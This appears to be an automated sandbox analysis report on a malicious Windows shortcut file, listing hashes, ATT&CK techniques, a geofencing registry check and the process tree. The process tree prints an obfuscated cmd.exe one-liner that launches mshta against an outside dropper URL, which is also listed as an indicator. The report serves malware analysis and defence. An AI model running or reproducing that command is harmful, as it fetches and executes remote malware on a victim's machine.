d1f92c753b8f0172cf899bbcc24e0c20a4973bfe02dc8f2ab8924e311c6c8021

Analysis

max time kernel
38s
max time network
41s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
03/08/2026, 20:32

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General

Target
DOC-LYY0AR.lnk
Size 1KB
Sample260803-zbh19abl21
SHA256 d1f92c753b8f0172cf899bbcc24e0c20a4973bfe02dc8f2ab8924e311c6c8021
MD5 f8a2aff8863d712e6dccc9c059bf5a2e
SHA1 ca32928fb3eb9e5a7c62ebb4e41ffa31ea48adfe
SHA512 b7f967bae2c44585c889d77d7a38d70479d3754c8164eaaf1f6478fbb4605ea1811822eb29b2703efd5472eb5c578ef51e45e88bd6e2be7629c025edf97156a3
TLSH
T1A93197003EFD0A24F3B39F7284BB571089BBB84A8D20C61D01418A0C1032A01E67AF6B
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4484	cmd.exe
2272	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4484 wrote to memory of 2272	4484	cmd.exe	87
PID 2272 wrote to memory of 2980	2272	cmd.exe	88

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-LYY0AR.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4484
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /c "set yyJV=msh&&set WIQA=ta&&start "" !yyJV!!WIQA! https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2272
- - C:\Windows\System32\mshta.exe
    mshta https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1
    3⤵
    PID:2980

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads